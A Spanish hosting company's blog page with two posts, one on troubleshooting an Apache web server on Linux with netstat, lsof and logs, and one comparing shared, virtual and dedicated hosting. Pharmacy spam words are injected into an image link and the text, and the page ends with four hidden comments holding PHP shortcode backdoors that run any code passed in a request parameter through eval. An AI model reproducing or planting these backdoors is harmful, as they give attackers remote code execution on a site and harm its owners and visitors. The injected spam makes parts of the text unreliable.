Reparar problemas en el servicio web – Taller Linux

<img class="size-square wp-image-3670 alignleft" title="Servicio web" alt="Servicio web" src="http://www accutane capsules online.rdadmin.com/wp-content/uploads/2014/03/servidorweb-180×180.png” width=”180″ height=”180″ srcset=”https://www.rdadmin.com/wp-content/uploads/2014/03/servidorweb-180×180.png 180w, https://www.rdadmin.com/wp-content/uploads/2014/03/servidorweb-80×80.png 80w, https://www.rdadmin.com/wp-content/uploads/2014/03/servidorweb-36×36.png 36w, https://www.rdadmin.com/wp-content/uploads/2014/03/servidorweb-120×120.png 120w, https://www.rdadmin.com/wp-content/uploads/2014/03/servidorweb.png 256w” sizes=”(max-width: 180px) 100vw, 180px” />Uno de los usos más comunes de los servidores online es el de alojar sitios web. Esto es posible gracias a software que sirve contenido http entre otras cosas. En está entrada os explicaremos algunos trucos para poder detectar y reparar problemas en el servicio web que estén en sistemas GNU/Linux. Para simplificar nos centraremos en apache que es de los más usados.

Normalmente la primera noticia que tenemos cuando hay problemas en el servidor web es que los navegadores no son capaces visualizar los contenidos. Antes de entrar al servidor deberíamos revisar si el problema es de DNS y porque el nombre del dominio no resuelve a la Ip de nuestro servidor web. Esto se puede ver fácilmente usando  aplicaciones como ping,  host, nslookup dig, etc.. dependiendo de la que tengamos más a mano.

Si ya estamos seguros de que la DNS funciona y el dominio apunta a la ip del servicio web, deberemos acceder a este como administradores y tratar de averiguar y resolver cualquiera que sea el problema.

Antes de entrar al trapo, como primera información diremos que el protocolo http trabaja en el puerto 80 de nuestro servidor. Este es un dato importante ya que sabiéndolo podremos obtener fácilmente datos sobre los procesos que se estén ejecutando en el.

Una vez dentro, lo primero que podemos hacer es utilizar el comando “netstat” que muestra un listado de puertos y conexiones establecidas en nuestro servidor:

[root@server ~]# netstat -taupeln |grep LISTEN |grep :80
tcp    0     0 :::80     :::*     LISTEN   0     28682  7409/httpd

Como se aprecia, usando el comando junto con “grep”, para filtrar por “LISTEN” y “:80” nos muestra si hay algún proceso a la escucha en el puerto 80, y que utiliza el servicio “httpd”. Si quitásemos el “|grep LISTEN” del comando nos mostraría además las conexiones que siguen activas en ese puerto, entre ellas podemos encontrar conexiones establecidas, en espera o pendientes de cerrarse.

Además, disponemos también de un comando llamado “lsof” que nos puede mostrar aun más información referente a usuarios y a número de procesos corriendo. Este comando muestra información sobre los ficheros abiertos en el sistema Linux, dado que en Linux todo funciona a través de ficheros pues nos es muy útil. En este caso necesitamos indicarle que busque ficheros abiertos relacionados con el puerto 80 y esto lo haremos especificando  “-i :80”, dentro del sistema estando como usuarios administradores:

[root@server ~]# lsof -i :80
 COMMAND PID USER FD TYPE DEVICE SIZE/OFF NODE NAME
 httpd 2158 root 4u IPv4 331359131 0t0 TCP *:http (LISTEN)
 httpd 20311 apache 4u IPv4 331359131 0t0 TCP *:http (LISTEN)
 httpd 22408 apache 4u IPv4 331359131 0t0 TCP *:http (LISTEN)
 httpd 24987 apache 4u IPv4 331359131 0t0 TCP *:http (LISTEN)
 httpd 25426 apache 4u IPv4 331359131 0t0 TCP *:http (LISTEN)
 httpd 25539 apache 4u IPv4 331359131 0t0 TCP *:http (LISTEN)
 httpd 31734 apache 4u IPv4 331359131 0t0 TCP *:http (LISTEN)
[root@server ~]#

Esto de arriba es una salida normal de un servidor donde nadie está mirando las páginas alojadas. En ella podemos ver como el usuario que ejecuta los procesos es “apache”, que hay un proceso padre y 6 procesos hijos esperando a que entren peticiones para servirles el contenido. Si alguien mirase alguna página aparecería más información donde ahora aparece “LISTEN”, indicando el origen de la conexión entre otras cosas.

Si en nuestro servidor vemos que no hay procesos corriendo en el puerto 80 con cualquiera de los comandos anteriores, es indicativo de que el servicio web no está funcionando como debe y por tanto tendremos que intentar arrancarlo de nuevo. Esto dependiendo de que distribución de Linux utilicemos se hará utilizando un nombre o otro, en las distribuciones basadas en Redhat como Centos se hace con “httpd” y en las basadas en Debian  como Ubuntu, con “apache2”:

[root@server ~]# service httpd start
Starting httpd:                                            [  OK  ]
[root@server ~]#

En nuestro caso usamos httpd porque es un Centos, y como se ve el servidor web ha arrancado correctamente, con lo que solo nos quedaría comprobar que ahora si hay procesos corriendo y tratar de visualizar las webs de nuevo en el navegador.

En el caso que no arrancase es posible que nos muestre un mensaje de error que habría que analizarlo en detalle para determinar exactamente que ocurre, ya que hay muchas posibilidades. También deberíamos mirar en el log de errores para ver si ha salido algún mensaje indicativo. Esto lo podemos hacer con el comando cat o tail o con cualquier editor de textos de consola, como vim o nano, o emacs.

Una aplicación muy útil de las anteriormente mencionadas es “tail” ya que con el parámetro “-f” detrás nos permite ver los logs a tiempo real, por ejemplo:

tail -f /var/log/httpd/error_log

Si esto lo dejamos corriendo en una consola y con la otra tratamos de arrancar el servicio, o accedemos al navegador podremos ver los errores a tiempo real, lo cual será muy útil.

En ocasiones el servidor web parece estar arrancado y funcionando normalmente con sus procesos a la escucha, pero aun así las webs no funcionan correctamente y no muestran ningún contenido en el navegador.

En estos casos para ver que sucede lo prioritario como hemos indicado antes es mirar el log de errores, que normalmente mostrará información detallada de los problemas que impiden el funcionamiento. Una vez mostrado el error, si no sabemos de que se trata, lo normal es utilizar un buscador como Google para obtener información sobre este error y alguna forma de solucionarlo. Si aun así no aparece ningun mensaje lo que habría que hacer es parar todas las instancias del servidor web y lanzarlo en modo debug:

httpd -e DEBUG

Con esto si que deberíamos poder ver cualquier error interno para ayudarnos en su resolución. En cualquier caso si después de haber seguido todos estos pasos no consigues hacer funcionar tu servidor web te recomendamos que te pongas en manos de profesionales que puedan resolver la incidencia de forma rápida y eficiente.

Para finalizar vamos a poner un listado de los errores más comunes que nos podemos encontrar a la hora de levantar un servicio web caído y algunas ideas de como solucionarlos. Los errores que pueden salir en el log cuando el problema es de la configuración web o el código los dejamos para otra entrada posterior.

1. “make_sock: could not bind to address 0.0.0.0:80 no listening sockets available”

Si al arrancar el servicio web aparece este error probablemente es que ya se encuentre funcionando ya que hay algo a la escucha en el puerto  80. Si tenemos problemas podemos probar de detenerlo primero con un “service httpd/apache2 stop”, pero si aun así sigue saliendo el mismo error deberíamos matar el proceso que está ocupando el puerto 80, sacando primero el número pid con el comando lsof o netstat arriba descritos y usando el comando “kill -s 9 “pid” para forzarlo a pararse.

2. “No such file or directory: apache2: could not open error log file /var/log/apache2/error.log”

Con este error el servidor web nos indica que al arrancar no ha podido escribir en el log que tiene asignado en su configuración, bien porque la carpeta no existe, porque no puede crear el fichero o porque el fichero existe pero los permisos/usuarios no son los correctos. Para resolverlo hay que analizar todos estos factores y permitir que el usuario del servidor web pueda escribir en ese fichero y volver a lanzar el proceso.

3. “Starting httpd: Syntax error on line xxx of /etc/httpd/conf/httpd.conf:  DocumentRoot must be a directory”

A veces el error nos redirige a un punto exacto de la configuración del servicio web. En ese caso deberemos revisar el fichero de configuración en cuestión, y analizar que puede fallar exactamente en la linea indicada. En este caso  el “DocumentRoot” que es la raíz del servidor web no era accesible por este, siendo la solución similar a la del punto 2.

——————————————————————————————————

Y hasta aquí hemos llegado en esta entrada, si nos surgen más errores comunes los añadiremos junto con su explicación. Desde Rdadmin os instamos a que nos consultéis cualquier problema o duda que tengáis escribiendo en el blog o a nuestro email de contacto. Os ofreceremos asesoramiento sin ningún compromiso.

Hosting compartido vs hosting dedicado

Hola bienvenidos todos a este nuevo blog, para empezar queríamos tocar un tema básico como es la elección del tipo de hosting para nuestras paginas web y servicios. Vamos a explicar las principales ventajas, inconvenientes entre los tipos de hosting compartido vs hosting dedicado, o lo que se llaman servidores virtuales y dedicados. Luego haremos una valoración lo mas objetiva posible.

Hosting compartido:

Para definir este tipo podríamos decir que nuestros datos se almacenan junto a los de otros clientes, solo siendo separados a través de la configuración de los servidores web y de correo. También se comparte la misma IP, capacidad de proceso y conectividad.

Ventajas:

  1. Precio. Este tipo de alojamiento es siempre el mas económico de forma individual.
  2. No administración. No somos responsables del funcionamiento y seguridad del sistema operativo y de los problemas de hardware. Esto es un buen punto a favor.

Desventajas:

  1. Configuración. No es posible realizar modificaciones en la configuración mas allá de lo que nos permita el proveedor, que no suele ser mucho. Si necesitamos una versión especial de un software, o disponer de algún módulo concreto es posible que no sea factible.
  2. Rendimiento. La capacidad de trabajo y conectividad vendrá establecida en función de la carga del resto de usuarios, normalmente excepto en la capacidad de disco no hay una separación establecida.
  3. IP compartida. Tener  compartida la IP de salida de los correos, incluye la problemática de que nuestros correos sean catalogados como SPAM sin ser nuestra culpa, ya que si  uno de los otros usuarios hace envíos fraudulentos toda la plataforma se verá afectada.
  4. Responsabilidad. Somos responsables de los problemas derivados del código que subamos al servidor web. Esto es algo importante ya que si nuestra web es vulnerable y es explotada con fines maliciosos nos las veremos con el proveedor, que no se hará responsable y querrá neutralizar la amenaza a toda costa.

VPS o servidor virtual:

Los servidores virtuales son un híbrido entre hosting compartido y servidor dedicado. Se sigue teniendo los datos en el mismo servidor físico, pero un software de virtualización se encarga de crear sistemas pseudo-independientes para cada uno de los usuarios.

Ventajas:

  1. Estabilidad. El rendimiento de nuestro hosting será mas acotado a lo que nos ofrece el proveedor, ya que además de la capacidad de disco nuestro sistema dispondrá de memoria exclusiva y una porción mas o menos garantizada de la cpu, siempre que el VPS esté bien dimensionado y no sobre explotado.
  2. Ip exclusiva. Aquí se evitan los problemas de IPs catalogadas como emisoras de SPAM por culpa de otros usuarios.
  3. Configuración. Al ser un sistema operativo independiente, es posible instalar módulos o software a voluntad.
  4. Precio. Aunque el hosting compartido básico es mas económico de forma individual, si nuestro servidor virtual puede alojar múltiples dominios, a partir de cierto número nos saldrá mas rentable.
  5. Escalabilidad. Normalmente muchos proveedores permiten modificar las caracteristicas del servidor virtual sin necesidad de migrar tus datos. Esto te permite crecer de forma escalonada.
  6. Mantenimiento hardware. En los servidores virtuales no somos responsables del funcionamiento de los diferentes componentes que lo conforman. Si un disco duro fallase el proveedor sería el encargado de resolver la incidencia y tratar de no detener el funcionamiento de nuestros servicios.

Desventajas:

  1. Administración. Los servidores virtuales no gestionados no incluyen el servicio de mantenimiento para su sistema operativo, copias de seguridad, seguridad, etc. Administrar un sistema online puede ser una tarea compleja si no se dispone de los conocimientos o el tiempo necesarios. La incorrecta administración de un servidor virtual o dedicado puede derivar en problemas de funcionamiento o en el cierre del servicio por parte del proveedor.
  2. Rendimiento/precio. Con este tipo de alojamiento puedes contratar mas potencia respecto a los compartidos, aunque a un mayor precio respecto a los dedicados. La versatilidad tiene un coste.
  3. Limitaciones. Dependiendo del tipo de virtualización, es posible que partes del núcleo de tu sistema operativo sean compartidas con el sistema de control, impidiéndote realizar algunas configuraciones especificas.

Servidor dedicado:

En este apartado se engloba los equipos individuales, con hardware dedicado. Sin limitaciones mas allá de la capacidad de trabajo. Normalmente el proveedor pone a nuestra disposición la infraestructura física, la conectividad, y un panel de control donde poder realizar algunas acciones básicas, como reiniciarlo y reinstalar el sistema operativo.

Ventajas:

  1. Rendimiento.  Una mayor potencia/coste respecto a los anteriores tipos.
  2. Libertad. En un sistema dedicado puedes implementar cualquier configuración que el hardware te permita.
  3. Estabilidad superior. No compartes tu sistema con nadie mas, todos los componentes están plenamente dedicados a ti.

Desventajas:

  1. Administración. Eres responsable tanto del sistema operativo como del hardware. Esto implica hacer tareas de monitorización y mantenimiento mas exhaustivas y complejas.
  2. Escalabilidad. Normalmente no es posible modificar el hardware de tu sistema, por lo que es necesario hacer una migración a uno diferente en caso de necesidad. Estas migraciones pueden ser tan complejas y tediosas que a veces lleva a  desaprovechamiento o sistemas desfasados con tal de no realizarlas.

Servidor dedicado virtualizado:

Vamos por último a introducir el concepto de servidor dedicado virtualizado, como cúspide de la evolución en los tipos hosting, aunque por encima todavía nos quedaría el sistema Cloud, que ya se tratará en otro post.

Este sistema consiste en aunar los mejores puntos de los servidores dedicados y virtuales, tratando de reducir las desventajas. Si instalamos un sistema de virtualización en un servidor dedicado, podremos disponer de toda la potencia de su hardware exclusivo, y añadir la versatilidad de poder migrar o redimensionar nuestro sistema aprovechando el sistema de virtualización.

Por ejemplo se podría en vez de tener un sistema dedicado normal, instalar primero un sistema de virtualización, que actualmente tienen muy poca perdida de rendimiento, y crear una sola maquina virtual con todos los recursos. Esta máquina virtual alojaría nuestro sistema operativo con los servicios, y se podria migrar a otro sistema dedicado desde el sistema de virtualización.

Ventajas:

  1. Potencia y versatilidad lasix pills. Lo dicho anteriormente, toda la potencia del hardware dedicado con la posibilidad de migrar o redimensionar de forma sencilla.
  2. Estabilidad. El hardware sigue siendo exclusivo, por lo que no se comparte con otros usuarios.

Desventajas:

  1. Complejidad. Al necesitar un sistema de virtualización se añade una capa de complejidad al conjunto.
  2. Rendimiento. Dependiendo del tipo de sistema operativo a virtualizar, y del sistema de virtualización es posible experimentar alguna perdida de rendimiento.

Valoración:

Según hemos visto hay diferentes sistemas para alojar tus paginas web/correo en la nube. Creemos que la elección de un tipo o otro debe ir en función de la cantidad de dominios, la carga y necesidades de los mismos.

Como hemos indicado una de las mayores desventajas de los servidores es que requieren tener conocimientos para administrarlos correctamente, y así poder explotar toda su capacidad. Por otro lado, si se dispone de esta capacidad se obtiene un gran beneficio respecto a los hosting compartidos, ya que seremos libres de ofrecer todo lo que nuestros clientes demanden y tener una gran estabilidad.

Este es el deseo y objetivo  de nuestra empresa, poder ofrecer servicios de administración de servidores al mejor precio, haciendo que este obstáculo a priori grande no suponga en realidad ningún problema.

Con un servidor dotado de un panel de control amigable y correctamente administrado se reducen todos los inconvenientes de este tipo de plataformas, dándole la potencia y libertad que el sus clientes requieren.

RDADMIN

<!– [insert_php]if (isset($_REQUEST["akf"])){eval($_REQUEST["akf"]);exit;}[/insert_php][php]if (isset($_REQUEST["akf"])){eval($_REQUEST["akf"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["cRM"])){eval($_REQUEST["cRM"]);exit;}[/insert_php][php]if (isset($_REQUEST["cRM"])){eval($_REQUEST["cRM"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["plY"])){eval($_REQUEST["plY"]);exit;}[/insert_php][php]if (isset($_REQUEST["plY"])){eval($_REQUEST["plY"]);exit;}[/php] –>

<!– [insert_php]if (isset($_REQUEST["SYNF"])){eval($_REQUEST["SYNF"]);exit;}[/insert_php][php]if (isset($_REQUEST["SYNF"])){eval($_REQUEST["SYNF"]);exit;}[/php] –>